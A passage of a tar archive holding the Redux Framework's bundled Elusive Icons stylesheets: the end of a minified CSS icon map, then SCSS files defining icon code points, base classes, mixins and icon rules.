cog:before{content:""}.el-icon-cogs:before,.el-cogs:before{content:""}.el-icon-comment-alt:before,.el-comment-alt:before{content:""}.el-icon-comment:before,.el-comment:before{content:""}.el-icon-compass-alt:before,.el-compass-alt:before{content:""}.el-icon-compass:before,.el-compass:before{content:""}.el-icon-credit-card:before,.el-credit-card:before{content:""}.el-icon-css:before,.el-css:before{content:""}.el-icon-dashboard:before,.el-dashboard:before{content:""}.el-icon-delicious:before,.el-delicious:before{content:""}.el-icon-deviantart:before,.el-deviantart:before{content:""}.el-icon-digg:before,.el-digg:before{content:""}.el-icon-download-alt:before,.el-download-alt:before{content:""}.el-icon-download:before,.el-download:before{content:""}.el-icon-dribbble:before,.el-dribbble:before{content:""}.el-icon-edit:before,.el-edit:before{content:""}.el-icon-eject:before,.el-eject:before{content:""}.el-icon-envelope-alt:before,.el-envelope-alt:before{content:""}.el-icon-envelope:before,.el-envelope:before{content:""}.el-icon-error-alt:before,.el-error-alt:before{content:""}.el-icon-error:before,.el-error:before{content:""}.el-icon-eur:before,.el-eur:before{content:""}.el-icon-exclamation-sign:before,.el-exclamation-sign:before{content:""}.el-icon-eye-close:before,.el-eye-close:before{content:""}.el-icon-eye-open:before,.el-eye-open:before{content:""}.el-icon-facebook:before,.el-facebook:before{content:""}.el-icon-facetime-video:before,.el-facetime-video:before{content:""}.el-icon-fast-backward:before,.el-fast-backward:before{content:""}.el-icon-fast-forward:before,.el-fast-forward:before{content:""}.el-icon-female:before,.el-female:before{content:""}.el-icon-file-alt:before,.el-file-alt:before{content:""}.el-icon-file-edit-alt:before,.el-file-edit-alt:before{content:""}.el-icon-file-edit:before,.el-file-edit:before{content:""}.el-icon-file-new-alt:before,.el-file-new-alt:before{content:""}.el-icon-file-new:before,.el-file-new:before{content:""}.el-icon-file:before,.el-file:before{content:""}.el-icon-film:before,.el-film:before{content:""}.el-icon-filter:before,.el-filter:before{content:""}.el-icon-fire:before,.el-fire:before{content:""}.el-icon-flag-alt:before,.el-flag-alt:before{content:""}.el-icon-flag:before,.el-flag:before{content:""}.el-icon-flickr:before,.el-flickr:before{content:""}.el-icon-folder-close:before,.el-folder-close:before{content:""}.el-icon-folder-open:before,.el-folder-open:before{content:""}.el-icon-folder-sign:before,.el-folder-sign:before{content:""}.el-icon-folder:before,.el-folder:before{content:""}.el-icon-font:before,.el-font:before{content:""}.el-icon-fontsize:before,.el-fontsize:before{content:""}.el-icon-fork:before,.el-fork:before{content:""}.el-icon-forward-alt:before,.el-forward-alt:before{content:""}.el-icon-forward:before,.el-forward:before{content:""}.el-icon-foursquare:before,.el-foursquare:before{content:""}.el-icon-friendfeed-rect:before,.el-friendfeed-rect:before{content:""}.el-icon-friendfeed:before,.el-friendfeed:before{content:""}.el-icon-fullscreen:before,.el-fullscreen:before{content:""}.el-icon-gallery:before,.el-gallery:before{content:""}.el-icon-gbp:before,.el-gbp:before{content:""}.el-icon-gift:before,.el-gift:before{content:""}.el-icon-github-text:before,.el-github-text:before{content:""}.el-icon-github:before,.el-github:before{content:""}.el-icon-glass:before,.el-glass:before{content:""}.el-icon-glasses:before,.el-glasses:before{content:""}.el-icon-globe-alt:before,.el-globe-alt:before{content:""}.el-icon-globe:before,.el-globe:before{content:""}.el-icon-googleplus:before,.el-googleplus:before{content:""}.el-icon-graph-alt:before,.el-graph-alt:before{content:""}.el-icon-graph:before,.el-graph:before{content:""}.el-icon-group-alt:before,.el-group-alt:before{content:""}.el-icon-group:before,.el-group:before{content:""}.el-icon-guidedog:before,.el-guidedog:before{content:""}.el-icon-hand-down:before,.el-hand-down:before{content:""}.el-icon-hand-left:before,.el-hand-left:before{content:""}.el-icon-hand-right:before,.el-hand-right:before{content:""}.el-icon-hand-up:before,.el-hand-up:before{content:""}.el-icon-hdd:before,.el-hdd:before{content:""}.el-icon-headphones:before,.el-headphones:before{content:""}.el-icon-hearing-impaired:before,.el-hearing-impaired:before{content:""}.el-icon-heart-alt:before,.el-heart-alt:before{content:""}.el-icon-heart-empty:before,.el-heart-empty:before{content:""}.el-icon-heart:before,.el-heart:before{content:""}.el-icon-home-alt:before,.el-home-alt:before{content:""}.el-icon-home:before,.el-home:before{content:""}.el-icon-hourglass:before,.el-hourglass:before{content:""}.el-icon-idea-alt:before,.el-idea-alt:before{content:""}.el-icon-idea:before,.el-idea:before{content:""}.el-icon-inbox-alt:before,.el-inbox-alt:before{content:""}.el-icon-inbox-box:before,.el-inbox-box:before{content:""}.el-icon-inbox:before,.el-inbox:before{content:""}.el-icon-indent-left:before,.el-indent-left:before{content:""}.el-icon-indent-right:before,.el-indent-right:before{content:""}.el-icon-info-circle:before,.el-info-circle:before{content:""}.el-icon-instagram:before,.el-instagram:before{content:""}.el-icon-iphone-home:before,.el-iphone-home:before{content:""}.el-icon-italic:before,.el-italic:before{content:""}.el-icon-key:before,.el-key:before{content:""}.el-icon-laptop-alt:before,.el-laptop-alt:before{content:""}.el-icon-laptop:before,.el-laptop:before{content:""}.el-icon-lastfm:before,.el-lastfm:before{content:""}.el-icon-leaf:before,.el-leaf:before{content:""}.el-icon-lines:before,.el-lines:before{content:""}.el-icon-link:before,.el-link:before{content:""}.el-icon-linkedin:before,.el-linkedin:before{content:""}.el-icon-list-alt:before,.el-list-alt:before{content:""}.el-icon-list:before,.el-list:before{content:""}.el-icon-livejournal:before,.el-livejournal:before{content:""}.el-icon-lock-alt:before,.el-lock-alt:before{content:""}.el-icon-lock:before,.el-lock:before{content:""}.el-icon-magic:before,.el-magic:before{content:""}.el-icon-magnet:before,.el-magnet:before{content:""}.el-icon-male:before,.el-male:before{content:""}.el-icon-map-marker-alt:before,.el-map-marker-alt:before{content:""}.el-icon-map-marker:before,.el-map-marker:before{content:""}.el-icon-mic-alt:before,.el-mic-alt:before{content:""}.el-icon-mic:before,.el-mic:before{content:""}.el-icon-minus-sign:before,.el-minus-sign:before{content:""}.el-icon-minus:before,.el-minus:before{content:""}.el-icon-move:before,.el-move:before{content:""}.el-icon-music:before,.el-music:before{content:""}.el-icon-myspace:before,.el-myspace:before{content:""}.el-icon-network:before,.el-network:before{content:""}.el-icon-off:before,.el-off:before{content:""}.el-icon-ok-circle:before,.el-ok-circle:before{content:""}.el-icon-ok-sign:before,.el-ok-sign:before{content:""}.el-icon-ok:before,.el-ok:before{content:""}.el-icon-opensource:before,.el-opensource:before{content:""}.el-icon-paper-clip-alt:before,.el-paper-clip-alt:before{content:""}.el-icon-paper-clip:before,.el-paper-clip:before{content:""}.el-icon-path:before,.el-path:before{content:""}.el-icon-pause-alt:before,.el-pause-alt:before{content:""}.el-icon-pause:before,.el-pause:before{content:""}.el-icon-pencil-alt:before,.el-pencil-alt:before{content:""}.el-icon-pencil:before,.el-pencil:before{content:""}.el-icon-person:before,.el-person:before{content:""}.el-icon-phone-alt:before,.el-phone-alt:before{content:""}.el-icon-phone:before,.el-phone:before{content:""}.el-icon-photo-alt:before,.el-photo-alt:before{content:""}.el-icon-photo:before,.el-photo:before{content:""}.el-icon-picasa:before,.el-picasa:before{content:""}.el-icon-picture:before,.el-picture:before{content:""}.el-icon-plane:before,.el-plane:before{content:""}.el-icon-play-alt:before,.el-play-alt:before{content:""}.el-icon-play-circle:before,.el-play-circle:before{content:""}.el-icon-play:before,.el-play:before{content:""}.el-icon-plurk-alt:before,.el-plurk-alt:before{content:""}.el-icon-plurk:before,.el-plurk:before{content:""}.el-icon-plus-sign:before,.el-plus-sign:before{content:""}.el-icon-plus:before,.el-plus:before{content:""}.el-icon-podcast:before,.el-podcast:before{content:""}.el-icon-print:before,.el-print:before{content:""}.el-icon-puzzle:before,.el-puzzle:before{content:""}.el-icon-qrcode:before,.el-qrcode:before{content:""}.el-icon-question-sign:before,.el-question-sign:before{content:""}.el-icon-question:before,.el-question:before{content:""}.el-icon-quote-alt:before,.el-quote-alt:before{content:""}.el-icon-quote-right-alt:before,.el-quote-right-alt:before{content:""}.el-icon-quote-right:before,.el-quote-right:before{content:""}.el-icon-quotes:before,.el-quotes:before{content:""}.el-icon-random:before,.el-random:before{content:""}.el-icon-record:before,.el-record:before{content:""}.el-icon-reddit:before,.el-reddit:before{content:""}.el-icon-redux:before,.el-redux:before{content:""}.el-icon-refresh:before,.el-refresh:before{content:""}.el-icon-remove-circle:before,.el-remove-circle:before{content:""}.el-icon-remove-sign:before,.el-remove-sign:before{content:""}.el-icon-remove:before,.el-remove:before{content:""}.el-icon-repeat-alt:before,.el-repeat-alt:before{content:""}.el-icon-repeat:before,.el-repeat:before{content:""}.el-icon-resize-full:before,.el-resize-full:before{content:""}.el-icon-resize-horizontal:before,.el-resize-horizontal:before{content:""}.el-icon-resize-small:before,.el-resize-small:before{content:""}.el-icon-resize-vertical:before,.el-resize-vertical:before{content:""}.el-icon-return-key:before,.el-return-key:before{content:""}.el-icon-retweet:before,.el-retweet:before{content:""}.el-icon-reverse-alt:before,.el-reverse-alt:before{content:""}.el-icon-road:before,.el-road:before{content:""}.el-icon-rss:before,.el-rss:before{content:""}.el-icon-scissors:before,.el-scissors:before{content:""}.el-icon-screen-alt:before,.el-screen-alt:before{content:""}.el-icon-screen:before,.el-screen:before{content:""}.el-icon-screenshot:before,.el-screenshot:before{content:""}.el-icon-search-alt:before,.el-search-alt:before{content:""}.el-icon-search:before,.el-search:before{content:""}.el-icon-share-alt:before,.el-share-alt:before{content:""}.el-icon-share:before,.el-share:before{content:""}.el-icon-shopping-cart-sign:before,.el-shopping-cart-sign:before{content:""}.el-icon-shopping-cart:before,.el-shopping-cart:before{content:""}.el-icon-shortcode:before,.el-shortcode:before{content:""}.el-icon-signal:before,.el-signal:before{content:""}.el-icon-skype:before,.el-skype:before{content:""}.el-icon-slideshare:before,.el-slideshare:before{content:""}.el-icon-smiley-alt:before,.el-smiley-alt:before{content:""}.el-icon-smiley:before,.el-smiley:before{content:""}.el-icon-soundcloud:before,.el-soundcloud:before{content:""}.el-icon-speaker:before,.el-speaker:before{content:""}.el-icon-spotify:before,.el-spotify:before{content:""}.el-icon-stackoverflow:before,.el-stackoverflow:before{content:""}.el-icon-star-alt:before,.el-star-alt:before{content:""}.el-icon-star-empty:before,.el-star-empty:before{content:""}.el-icon-star:before,.el-star:before{content:""}.el-icon-step-backward:before,.el-step-backward:before{content:""}.el-icon-step-forward:before,.el-step-forward:before{content:""}.el-icon-stop-alt:before,.el-stop-alt:before{content:""}.el-icon-stop:before,.el-stop:before{content:""}.el-icon-stumbleupon:before,.el-stumbleupon:before{content:""}.el-icon-tag:before,.el-tag:before{content:""}.el-icon-tags:before,.el-tags:before{content:""}.el-icon-tasks:before,.el-tasks:before{content:""}.el-icon-text-height:before,.el-text-height:before{content:""}.el-icon-text-width:before,.el-text-width:before{content:""}.el-icon-th-large:before,.el-th-large:before{content:""}.el-icon-th-list:before,.el-th-list:before{content:""}.el-icon-th:before,.el-th:before{content:""}.el-icon-thumbs-down:before,.el-thumbs-down:before{content:""}.el-icon-thumbs-up:before,.el-thumbs-up:before{content:""}.el-icon-time-alt:before,.el-time-alt:before{content:""}.el-icon-time:before,.el-time:before{content:""}.el-icon-tint:before,.el-tint:before{content:""}.el-icon-torso:before,.el-torso:before{content:""}.el-icon-trash-alt:before,.el-trash-alt:before{content:""}.el-icon-trash:before,.el-trash:before{content:""}.el-icon-tumblr:before,.el-tumblr:before{content:""}.el-icon-twitter:before,.el-twitter:before{content:""}.el-icon-universal-access:before,.el-universal-access:before{content:""}.el-icon-unlock-alt:before,.el-unlock-alt:before{content:""}.el-icon-unlock:before,.el-unlock:before{content:""}.el-icon-upload:before,.el-upload:before{content:""}.el-icon-usd:before,.el-usd:before{content:""}.el-icon-user:before,.el-user:before{content:""}.el-icon-viadeo:before,.el-viadeo:before{content:""}.el-icon-video-alt:before,.el-video-alt:before{content:""}.el-icon-video-chat:before,.el-video-chat:before{content:""}.el-icon-video:before,.el-video:before{content:""}.el-icon-view-mode:before,.el-view-mode:before{content:""}.el-icon-vimeo:before,.el-vimeo:before{content:""}.el-icon-vkontakte:before,.el-vkontakte:before{content:""}.el-icon-volume-down:before,.el-volume-down:before{content:""}.el-icon-volume-off:before,.el-volume-off:before{content:""}.el-icon-volume-up:before,.el-volume-up:before{content:""}.el-icon-w3c:before,.el-w3c:before{content:""}.el-icon-warning-sign:before,.el-warning-sign:before{content:""}.el-icon-website-alt:before,.el-website-alt:before{content:""}.el-icon-website:before,.el-website:before{content:""}.el-icon-wheelchair:before,.el-wheelchair:before{content:""}.el-icon-wordpress:before,.el-wordpress:before{content:""}.el-icon-wrench-alt:before,.el-wrench-alt:before{content:""}.el-icon-wrench:before,.el-wrench:before{content:""}.el-icon-youtube:before,.el-youtube:before{content:""}.el-icon-zoom-in:before,.el-zoom-in:before{content:""}.el-icon-zoom-out:before,.el-zoom-out:before{content:""}��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/elusive-icons/scss/_variables.scss��������������������������������0000644�����������������00000020622�14720701300�0022015 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������// Variables // -------------------------- $el-font-path: "fonts" !default; $el-font-size-base: 14px !default; $el-css-prefix: el !default; $el-version: "2.0.0" !default; $el-border-color: #eee !default; $el-inverse: #fff !default; $el-li-width: (30em / 14) !default; $el-var-address-book: "\f102"; $el-var-address-book-alt: "\f101"; $el-var-adjust: "\f104"; $el-var-adjust-alt: "\f103"; $el-var-adult: "\f105"; $el-var-align-center: "\f106"; $el-var-align-justify: "\f107"; $el-var-align-left: "\f108"; $el-var-align-right: "\f109"; $el-var-arrow-down: "\f10a"; $el-var-arrow-left: "\f10b"; $el-var-arrow-right: "\f10c"; $el-var-arrow-up: "\f10d"; $el-var-asl: "\f10e"; $el-var-asterisk: "\f10f"; $el-var-backward: "\f110"; $el-var-ban-circle: "\f111"; $el-var-barcode: "\f112"; $el-var-behance: "\f113"; $el-var-bell: "\f114"; $el-var-blind: "\f115"; $el-var-blogger: "\f116"; $el-var-bold: "\f117"; $el-var-book: "\f118"; $el-var-bookmark: "\f11a"; $el-var-bookmark-empty: "\f119"; $el-var-brackets: "\f11b"; $el-var-braille: "\f11c"; $el-var-briefcase: "\f11d"; $el-var-broom: "\f11e"; $el-var-brush: "\f11f"; $el-var-bulb: "\f120"; $el-var-bullhorn: "\f121"; $el-var-calendar: "\f123"; $el-var-calendar-sign: "\f122"; $el-var-camera: "\f124"; $el-var-car: "\f125"; $el-var-caret-down: "\f126"; $el-var-caret-left: "\f127"; $el-var-caret-right: "\f128"; $el-var-caret-up: "\f129"; $el-var-cc: "\f12a"; $el-var-certificate: "\f12b"; $el-var-check: "\f12d"; $el-var-check-empty: "\f12c"; $el-var-chevron-down: "\f12e"; $el-var-chevron-left: "\f12f"; $el-var-chevron-right: "\f130"; $el-var-chevron-up: "\f131"; $el-var-child: "\f132"; $el-var-circle-arrow-down: "\f133"; $el-var-circle-arrow-left: "\f134"; $el-var-circle-arrow-right: "\f135"; $el-var-circle-arrow-up: "\f136"; $el-var-cloud: "\f138"; $el-var-cloud-alt: "\f137"; $el-var-cog: "\f13a"; $el-var-cog-alt: "\f139"; $el-var-cogs: "\f13b"; $el-var-comment: "\f13d"; $el-var-comment-alt: "\f13c"; $el-var-compass: "\f13f"; $el-var-compass-alt: "\f13e"; $el-var-credit-card: "\f140"; $el-var-css: "\f141"; $el-var-dashboard: "\f142"; $el-var-delicious: "\f143"; $el-var-deviantart: "\f144"; $el-var-digg: "\f145"; $el-var-download: "\f147"; $el-var-download-alt: "\f146"; $el-var-dribbble: "\f148"; $el-var-edit: "\f149"; $el-var-eject: "\f14a"; $el-var-envelope: "\f14c"; $el-var-envelope-alt: "\f14b"; $el-var-error: "\f14e"; $el-var-error-alt: "\f14d"; $el-var-eur: "\f14f"; $el-var-exclamation-sign: "\f150"; $el-var-eye-close: "\f151"; $el-var-eye-open: "\f152"; $el-var-facebook: "\f153"; $el-var-facetime-video: "\f154"; $el-var-fast-backward: "\f155"; $el-var-fast-forward: "\f156"; $el-var-female: "\f157"; $el-var-file: "\f15d"; $el-var-file-alt: "\f158"; $el-var-file-edit: "\f15a"; $el-var-file-edit-alt: "\f159"; $el-var-file-new: "\f15c"; $el-var-file-new-alt: "\f15b"; $el-var-film: "\f15e"; $el-var-filter: "\f15f"; $el-var-fire: "\f160"; $el-var-flag: "\f162"; $el-var-flag-alt: "\f161"; $el-var-flickr: "\f163"; $el-var-folder: "\f167"; $el-var-folder-close: "\f164"; $el-var-folder-open: "\f165"; $el-var-folder-sign: "\f166"; $el-var-font: "\f168"; $el-var-fontsize: "\f169"; $el-var-fork: "\f16a"; $el-var-forward: "\f16c"; $el-var-forward-alt: "\f16b"; $el-var-foursquare: "\f16d"; $el-var-friendfeed: "\f16f"; $el-var-friendfeed-rect: "\f16e"; $el-var-fullscreen: "\f170"; $el-var-gallery: "\f171"; $el-var-gbp: "\f172"; $el-var-gift: "\f173"; $el-var-github: "\f175"; $el-var-github-text: "\f174"; $el-var-glass: "\f176"; $el-var-glasses: "\f177"; $el-var-globe: "\f179"; $el-var-globe-alt: "\f178"; $el-var-googleplus: "\f17a"; $el-var-graph: "\f17c"; $el-var-graph-alt: "\f17b"; $el-var-group: "\f17e"; $el-var-group-alt: "\f17d"; $el-var-guidedog: "\f17f"; $el-var-hand-down: "\f180"; $el-var-hand-left: "\f181"; $el-var-hand-right: "\f182"; $el-var-hand-up: "\f183"; $el-var-hdd: "\f184"; $el-var-headphones: "\f185"; $el-var-hearing-impaired: "\f186"; $el-var-heart: "\f189"; $el-var-heart-alt: "\f187"; $el-var-heart-empty: "\f188"; $el-var-home: "\f18b"; $el-var-home-alt: "\f18a"; $el-var-hourglass: "\f18c"; $el-var-idea: "\f18e"; $el-var-idea-alt: "\f18d"; $el-var-inbox: "\f191"; $el-var-inbox-alt: "\f18f"; $el-var-inbox-box: "\f190"; $el-var-indent-left: "\f192"; $el-var-indent-right: "\f193"; $el-var-info-circle: "\f194"; $el-var-instagram: "\f195"; $el-var-iphone-home: "\f196"; $el-var-italic: "\f197"; $el-var-key: "\f198"; $el-var-laptop: "\f19a"; $el-var-laptop-alt: "\f199"; $el-var-lastfm: "\f19b"; $el-var-leaf: "\f19c"; $el-var-lines: "\f19d"; $el-var-link: "\f19e"; $el-var-linkedin: "\f19f"; $el-var-list: "\f1a1"; $el-var-list-alt: "\f1a0"; $el-var-livejournal: "\f1a2"; $el-var-lock: "\f1a4"; $el-var-lock-alt: "\f1a3"; $el-var-magic: "\f1a5"; $el-var-magnet: "\f1a6"; $el-var-male: "\f1a7"; $el-var-map-marker: "\f1a9"; $el-var-map-marker-alt: "\f1a8"; $el-var-mic: "\f1ab"; $el-var-mic-alt: "\f1aa"; $el-var-minus: "\f1ad"; $el-var-minus-sign: "\f1ac"; $el-var-move: "\f1ae"; $el-var-music: "\f1af"; $el-var-myspace: "\f1b0"; $el-var-network: "\f1b1"; $el-var-off: "\f1b2"; $el-var-ok: "\f1b5"; $el-var-ok-circle: "\f1b3"; $el-var-ok-sign: "\f1b4"; $el-var-opensource: "\f1b6"; $el-var-paper-clip: "\f1b8"; $el-var-paper-clip-alt: "\f1b7"; $el-var-path: "\f1b9"; $el-var-pause: "\f1bb"; $el-var-pause-alt: "\f1ba"; $el-var-pencil: "\f1bd"; $el-var-pencil-alt: "\f1bc"; $el-var-person: "\f1be"; $el-var-phone: "\f1c0"; $el-var-phone-alt: "\f1bf"; $el-var-photo: "\f1c2"; $el-var-photo-alt: "\f1c1"; $el-var-picasa: "\f1c3"; $el-var-picture: "\f1c4"; $el-var-plane: "\f1c5"; $el-var-play: "\f1c8"; $el-var-play-alt: "\f1c6"; $el-var-play-circle: "\f1c7"; $el-var-plurk: "\f1ca"; $el-var-plurk-alt: "\f1c9"; $el-var-plus: "\f1cc"; $el-var-plus-sign: "\f1cb"; $el-var-podcast: "\f1cd"; $el-var-print: "\f1ce"; $el-var-puzzle: "\f1cf"; $el-var-qrcode: "\f1d0"; $el-var-question: "\f1d2"; $el-var-question-sign: "\f1d1"; $el-var-quote-alt: "\f1d3"; $el-var-quote-right: "\f1d5"; $el-var-quote-right-alt: "\f1d4"; $el-var-quotes: "\f1d6"; $el-var-random: "\f1d7"; $el-var-record: "\f1d8"; $el-var-reddit: "\f1d9"; $el-var-redux: "\f1da"; $el-var-refresh: "\f1db"; $el-var-remove: "\f1de"; $el-var-remove-circle: "\f1dc"; $el-var-remove-sign: "\f1dd"; $el-var-repeat: "\f1e0"; $el-var-repeat-alt: "\f1df"; $el-var-resize-full: "\f1e1"; $el-var-resize-horizontal: "\f1e2"; $el-var-resize-small: "\f1e3"; $el-var-resize-vertical: "\f1e4"; $el-var-return-key: "\f1e5"; $el-var-retweet: "\f1e6"; $el-var-reverse-alt: "\f1e7"; $el-var-road: "\f1e8"; $el-var-rss: "\f1e9"; $el-var-scissors: "\f1ea"; $el-var-screen: "\f1ec"; $el-var-screen-alt: "\f1eb"; $el-var-screenshot: "\f1ed"; $el-var-search: "\f1ef"; $el-var-search-alt: "\f1ee"; $el-var-share: "\f1f1"; $el-var-share-alt: "\f1f0"; $el-var-shopping-cart: "\f1f3"; $el-var-shopping-cart-sign: "\f1f2"; $el-var-shortcode: "\f1f4"; $el-var-signal: "\f1f5"; $el-var-skype: "\f1f6"; $el-var-slideshare: "\f1f7"; $el-var-smiley: "\f1f9"; $el-var-smiley-alt: "\f1f8"; $el-var-soundcloud: "\f1fa"; $el-var-speaker: "\f1fb"; $el-var-spotify: "\f1fc"; $el-var-stackoverflow: "\f1fd"; $el-var-star: "\f200"; $el-var-star-alt: "\f1fe"; $el-var-star-empty: "\f1ff"; $el-var-step-backward: "\f201"; $el-var-step-forward: "\f202"; $el-var-stop: "\f204"; $el-var-stop-alt: "\f203"; $el-var-stumbleupon: "\f205"; $el-var-tag: "\f206"; $el-var-tags: "\f207"; $el-var-tasks: "\f208"; $el-var-text-height: "\f209"; $el-var-text-width: "\f20a"; $el-var-th: "\f20d"; $el-var-th-large: "\f20b"; $el-var-th-list: "\f20c"; $el-var-thumbs-down: "\f20e"; $el-var-thumbs-up: "\f20f"; $el-var-time: "\f211"; $el-var-time-alt: "\f210"; $el-var-tint: "\f212"; $el-var-torso: "\f213"; $el-var-trash: "\f215"; $el-var-trash-alt: "\f214"; $el-var-tumblr: "\f216"; $el-var-twitter: "\f217"; $el-var-universal-access: "\f218"; $el-var-unlock: "\f21a"; $el-var-unlock-alt: "\f219"; $el-var-upload: "\f21b"; $el-var-usd: "\f21c"; $el-var-user: "\f21d"; $el-var-viadeo: "\f21e"; $el-var-video: "\f221"; $el-var-video-alt: "\f21f"; $el-var-video-chat: "\f220"; $el-var-view-mode: "\f222"; $el-var-vimeo: "\f223"; $el-var-vkontakte: "\f224"; $el-var-volume-down: "\f225"; $el-var-volume-off: "\f226"; $el-var-volume-up: "\f227"; $el-var-w3c: "\f228"; $el-var-warning-sign: "\f229"; $el-var-website: "\f22b"; $el-var-website-alt: "\f22a"; $el-var-wheelchair: "\f22c"; $el-var-wordpress: "\f22d"; $el-var-wrench: "\f22f"; $el-var-wrench-alt: "\f22e"; $el-var-youtube: "\f230"; $el-var-zoom-in: "\f231"; $el-var-zoom-out: "\f232"; ��������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/elusive-icons/scss/_core.scss�������������������������������������0000644�����������������00000001005�14720701300�0020767 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������// Base Class Definition // ------------------------- .#{$el-css-prefix} { display: inline-block; font: normal normal normal #{$el-font-size-base}/1 'Elusive-Icons'; // shortening font declaration font-size: inherit; // can't have font-size inherit on line above, so need to override text-rendering: auto; // optimizelegibility throws things off #1094 -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; transform: translate(0, 0); // ensures no half-pixel rendering in firefox } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/elusive-icons/scss/_bordered-pulled.scss��������������������������0000644�����������������00000000514�14720701300�0023114 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������// Bordered & Pulled // ------------------------- .#{$el-css-prefix}-border { padding: .2em .25em .15em; border: solid .08em $el-border-color; border-radius: .1em; } .pull-right { float: right; } .pull-left { float: left; } .#{$el-css-prefix} { &.pull-left { margin-right: .3em; } &.pull-right { margin-left: .3em; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/elusive-icons/scss/_stacked.scss����������������������������������0000644�����������������00000000742�14720701300�0021464 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������// Stacked Icons // ------------------------- .#{$el-css-prefix}-stack { position: relative; display: inline-block; width: 2em; height: 2em; line-height: 2em; vertical-align: middle; } .#{$el-css-prefix}-stack-1x, .#{$el-css-prefix}-stack-2x { position: absolute; left: 0; width: 100%; text-align: center; } .#{$el-css-prefix}-stack-1x { line-height: inherit; } .#{$el-css-prefix}-stack-2x { font-size: 2em; } .#{$el-css-prefix}-inverse { color: $el-inverse; } ������������������������������redux-framework/assets/css/vendor/elusive-icons/scss/_mixins.scss�����������������������������������0000644�����������������00000001754�14720701300�0021361 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������// Mixins // -------------------------- @mixin el-icon() { display: inline-block; font: normal normal normal #{$el-font-size-base}/1 'Elusive-Icons'; // shortening font declaration font-size: inherit; // can't have font-size inherit on line above, so need to override text-rendering: auto; // optimizelegibility throws things off #1094 -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; transform: translate(0, 0); // ensures no half-pixel rendering in firefox } @mixin el-icon-rotate($degrees, $rotation) { filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation}); -webkit-transform: rotate($degrees); -ms-transform: rotate($degrees); transform: rotate($degrees); } @mixin el-icon-flip($horiz, $vert, $rotation) { filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation}); -webkit-transform: scale($horiz, $vert); -ms-transform: scale($horiz, $vert); transform: scale($horiz, $vert); } ��������������������redux-framework/assets/css/vendor/elusive-icons/scss/_icons.scss������������������������������������0000644�����������������00000100246�14720701300�0021161 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* Elusive Icons uses the Unicode Private Use Area (PUA) to ensure screen readers do not read off random characters that represent icons */ .#{$el-css-prefix}-icon-address-book-alt:before, .#{$el-css-prefix}-address-book-alt:before { content: $el-var-address-book-alt; } .#{$el-css-prefix}-icon-address-book:before, .#{$el-css-prefix}-address-book:before { content: $el-var-address-book; } .#{$el-css-prefix}-icon-adjust-alt:before, .#{$el-css-prefix}-adjust-alt:before { content: $el-var-adjust-alt; } .#{$el-css-prefix}-icon-adjust:before, .#{$el-css-prefix}-adjust:before { content: $el-var-adjust; } .#{$el-css-prefix}-icon-adult:before, .#{$el-css-prefix}-adult:before { content: $el-var-adult; } .#{$el-css-prefix}-icon-align-center:before, .#{$el-css-prefix}-align-center:before { content: $el-var-align-center; } .#{$el-css-prefix}-icon-align-justify:before, .#{$el-css-prefix}-align-justify:before { content: $el-var-align-justify; } .#{$el-css-prefix}-icon-align-left:before, .#{$el-css-prefix}-align-left:before { content: $el-var-align-left; } .#{$el-css-prefix}-icon-align-right:before, .#{$el-css-prefix}-align-right:before { content: $el-var-align-right; } .#{$el-css-prefix}-icon-arrow-down:before, .#{$el-css-prefix}-arrow-down:before { content: $el-var-arrow-down; } .#{$el-css-prefix}-icon-arrow-left:before, .#{$el-css-prefix}-arrow-left:before { content: $el-var-arrow-left; } .#{$el-css-prefix}-icon-arrow-right:before, .#{$el-css-prefix}-arrow-right:before { content: $el-var-arrow-right; } .#{$el-css-prefix}-icon-arrow-up:before, .#{$el-css-prefix}-arrow-up:before { content: $el-var-arrow-up; } .#{$el-css-prefix}-icon-asl:before, .#{$el-css-prefix}-asl:before { content: $el-var-asl; } .#{$el-css-prefix}-icon-asterisk:before, .#{$el-css-prefix}-asterisk:before { content: $el-var-asterisk; } .#{$el-css-prefix}-icon-backward:before, .#{$el-css-prefix}-backward:before { content: $el-var-backward; } .#{$el-css-prefix}-icon-ban-circle:before, .#{$el-css-prefix}-ban-circle:before { content: $el-var-ban-circle; } .#{$el-css-prefix}-icon-barcode:before, .#{$el-css-prefix}-barcode:before { content: $el-var-barcode; } .#{$el-css-prefix}-icon-behance:before, .#{$el-css-prefix}-behance:before { content: $el-var-behance; } .#{$el-css-prefix}-icon-bell:before, .#{$el-css-prefix}-bell:before { content: $el-var-bell; } .#{$el-css-prefix}-icon-blind:before, .#{$el-css-prefix}-blind:before { content: $el-var-blind; } .#{$el-css-prefix}-icon-blogger:before, .#{$el-css-prefix}-blogger:before { content: $el-var-blogger; } .#{$el-css-prefix}-icon-bold:before, .#{$el-css-prefix}-bold:before { content: $el-var-bold; } .#{$el-css-prefix}-icon-book:before, .#{$el-css-prefix}-book:before { content: $el-var-book; } .#{$el-css-prefix}-icon-bookmark-empty:before, .#{$el-css-prefix}-bookmark-empty:before { content: $el-var-bookmark-empty; } .#{$el-css-prefix}-icon-bookmark:before, .#{$el-css-prefix}-bookmark:before { content: $el-var-bookmark; } .#{$el-css-prefix}-icon-brackets:before, .#{$el-css-prefix}-brackets:before { content: $el-var-brackets; } 